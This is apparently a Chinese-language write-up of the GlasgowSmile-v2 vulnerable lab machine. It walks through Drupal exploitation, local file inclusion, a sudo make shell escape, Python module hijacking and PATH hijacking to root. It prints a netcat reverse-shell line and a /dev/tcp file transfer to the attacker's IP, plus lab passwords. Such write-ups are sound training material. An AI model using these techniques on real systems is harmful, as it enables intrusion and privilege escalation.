GlasgowSmile-v2靶机复盘
这是一个非常难的靶机
这个靶机是直接给我们ip地址的,所以就不用去找ip地址了,直接对ip进行一个扫描。
发现开通了22,80,83,但是8080端口是个开启我们无法访问的状态,所以可以猜测,这个端口可能没有对外开放,只有本地可以访问。
扫描ip的同时顺便扫描一下目录,用了好几个工具,但是只有dirsearch扫描到了一个有用的目录
dirsearch -u http://192.168.102.138/
这句话的意思就是写完这个bash文件后记得删除,bash文件都是以sh结尾,所以我们猜测有个.sh文件,专门对这个扫描一下。
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x sh -u http://192.168.102.139
扫描到一个joke.sh,打开后发现一行没有注释的命令,这条命令是get一个账号密码登陆这个地址,猜测这是一个登陆地址。
复制打开后发现的确是一个登陆地址。
利用我们的指纹之别系统(wappalyzer)可以发现这是一个Drupal 8的CMS,当时打DC-1这个靶机的时候就是这个系统,有一个专门的扫描工具,droopescan。
我们可以直接searchsploit Drupal 8.3.3查找漏洞,但是在尝试过程中发现msf有现成的。
这样就进去网站的shell了,感觉进入shell距离结束就已经不远了,但是这只是一个开端。
我们在单独扫描这个ip地址时候发现有个开启的8080端口,但是被过滤掉了,所以猜测只能服务器本机可以访问,所以这里我们查看了一下,发现果真只有127.0.0.1可以进行访问,所以我们需要做一个端口转发,让我们也可以访问这个8080端口。
netstat -lntup
-l:只显示监听状态的网络连接。
-n:以数字格式显示端口号,而不是以服务名称的形式显示。
-t:只显示 TCP 协议的网络连接。
-u:只显示 UDP 协议的网络连接。
-p:显示与每个网络连接相关联的进程信息。
端口转发
利用这个命令可以开启8081端口,当我们访问8081端口的时候会把流量转到8080端口,实现访问8080端口。
socat TCP-LISTEN:8081,resueaddr,fork TCP:127.0.0.1:8080
访问后查看源代码发现一行注释,大概意思就是如果你不记得自己密码了,就使用Riddler这个app,并且Nginx比apache2更安全可靠,这里给了我们一个提醒,猜测就是跟riddler或者nginx有关,后来发现的确跟nginx有关系。
点击login后有个忘记密码,点击后发现url发现了变化
很明显可以发现这是一个文件包含的漏洞。
尝试查看/etc/passwd文件,发现查看成功,的确有这个漏洞。
上面给了提示说nginx比apache2更安全可靠,所以这个系统大概率就是nginx服务器,在自己本机上找了一下nginx配置文件的位置,我们尝试查看靶机是否也只这个目录。
成功发现靶机的nginx配置文件也是这个目录。
并且查看源代码后在最底下发现一个include,搜索了一下这个这个目录,发现说这个文件下只有一个default文件,并且我的本机也是只有这个文件。
在靶机上是没有这个文件的,后来联想到配置文件通常以.conf结尾,在后面加上.conf后发现文件名是default.conf
/etc/nginx/sites-enabled/default.conf
在default.conf配置文件中发现有个目录,我们打开这个目录试试。
发现是一个谜语题,问了一下chatgpt有了答案,或者Google搜索也能找到答案,但是百度是没有答案的。
这是后我们就找到了第一个用户的密码,因为我们已经进去shell了,可以cd一下home目录,挨个尝试一下登陆,发现可以登陆上riddler这个用户。
ssh riddler@192.168.102.139
J2h3cUy5Sc4gXLp5VXrE
登陆上以后再riddler的家目录有几个文件,burn执行后是一串php代码,而message.txt中是一串数字,并且给了提醒说这是一个key,所以猜测这个key是用这串php代码加密而来的,我们就需要想办法去解密这串key。
把这串php代码复制到php代码美化工具后就看到了源代码。
根据源码反向写了一个解密代码。
with open("./a.txt") as f:
for line in f:
l = line.strip()
num = int(l[:len(l)-1])
if l[-1] == "F":
num -= 2154
if l[-1] =="A":
num -= 2190
print(chr(num))
我们把这个key复制到kali中创建一个tmp文件,然后执行以下代码,让每行以AF结尾输出到a.txt中去,再执行我们的解密代码,再把换行符删除掉就解密成功,出现了我们第二个密码。
cat tmp | sed 's/[AF]/&\n/g' | grep -v '^$' > a.txt
cat tmp | tr -d '\n'
UFVE36GvUmK4TcZCxBh8vUEWuYekCY
经过尝试,这是bane的密码。
登陆后sudo -l发现我们可以使用carnage用户身份执行/bin/make命令。
利用carnage这个身份我们可以进入carnage的命令行,网上搜索了一下执行以下命令可以进入carnage的命令行。
COMMAND='/bin/sh'
sudo -u carnage /bin/make -s --eval=$'x:\n\t-'"$COMMAND"
这样我们就进入到了carnage用户下。
美化以下终端,然后我们在/opt/get_out目录下发现一个help.txt,意思就是我们个人文件下的zip压缩包删除后还会自动恢复。
在carnage的home目录中是有一个zip压缩包的,这个压缩包每次删除后都会自动恢复。这里其实是调用了一个python的模块叫做zipfile模块,同时这里运用了计时任务,每隔一段时间会调用moonlight.py这个文件,所以devil.zip这个文件才会被自动恢复。
我们自己创建的zip文件删除后就不会被恢复。
在这里我们可以自己创建一个zipfile.py文件,在moonlight.py所在的目录,这样python调用的时候就会先调用我们这个zipfile.py,我们在这个文件中写一个反弹shell,因为moonlight.py是以venom身份运行的,所以我们可以返回一个venom的shell。
vi zipfile.py
import os
os.system("nc -e /bin/bash 192.168.102.129 8888")
进入venom的用户后查找一下有权限的文件,发现有一堆gothamwillburn文件,我们进去这个目录。
file一下发现这些是可执行文件,经过挨个执行这些文件,发现只有gothamwillburn4可以执行
把gothamwillburn4发送到我们本机进行一个深入了解。
cat gothamwillburn4 > /dev/tcp/192.168.102.137/8888
输出到我们电脑后以exp命名,然后strings命令查看一下,发现这个文件在运行的过程中调用了cat命令,所以我们可以尝试利用cat命令为切入点进行提权。
并且这里的cat不是全目录,所以我们可以修改环境变量,让这个文件运行的时候运行我们自己创建的cat文件。
成功提权。